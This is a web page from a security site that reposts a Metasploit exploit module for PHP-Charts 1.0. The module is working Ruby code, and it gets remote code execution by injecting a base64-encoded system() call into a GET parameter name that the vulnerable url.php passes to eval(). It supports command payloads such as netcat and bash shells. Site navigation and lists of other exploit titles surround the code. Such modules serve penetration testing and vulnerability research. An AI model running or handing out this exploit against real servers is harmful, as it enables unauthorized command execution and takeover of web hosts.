首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP-Charts 1.0 PHP Code Execution
来源:metasploit.com 作者:Akastep 发布时间:2013-01-21  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "PHP-Charts v1.0 PHP Code Execution Vulnerability",
			'Description'    => %q{
				This module exploits a PHP code execution vulnerability in php-Charts
				version 1.0 which could be abused to allow users to execute arbitrary
				PHP code under the context of the webserver user. The 'url.php' script
				calls eval() with user controlled data from any HTTP GET parameter name.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'AkaStep', # Discovery and PoC
					'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
				],
			'References'     =>
				[
					['OSVDB', '89334'],
					['BID', '57448'],
					['EDB',   '24201']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d\x22",
					'Compat'      =>
						{
						'PayloadType' => 'cmd',
						'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',
						}
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 16 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),
			], self.class)
	end

	def check

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		peer  = "#{rhost}:#{rport}"
		fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
		code  = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))
		rand_key_value = rand_text_alphanumeric(rand(10)+6)

		# send check
		print_status("#{peer} - Sending check")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
			})

			if res and res.body =~ /#{fingerprint}/
				return Exploit::CheckCode::Vulnerable
			else
				return Exploit::CheckCode::Safe
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def exploit

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		@peer = "#{rhost}:#{rport}"
		code  = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&"))
		rand_key_value = rand_text_alphanumeric(rand(10)+6)

		# send payload
		print_status("#{@peer} - Sending payload (#{code.length} bytes)")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
			})
			if res and res.code == 500
				print_good("#{@peer} - Payload sent successfully")
			else
				fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
				fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end

	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SonicWALL GMS/VIEWPOINT 6.x An
·Novell NCP Pre-Auth Remote Roo
·Atheme IRC Services 7.0.5 Deni
·Jenkins CI Script Console Comm
·NVidia Display Driver Service
·Nagios3 history.cgi Host Comma
·Java Applet Method Handle Remo
·Freesshd Authentication Bypass
·Java Applet AverageRangeStatis
·Serva v2.0.0 HTTP Server GET R
·Simatic WinCC Information Harv
·Serva v2.0.0 DNS Server QueryN
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved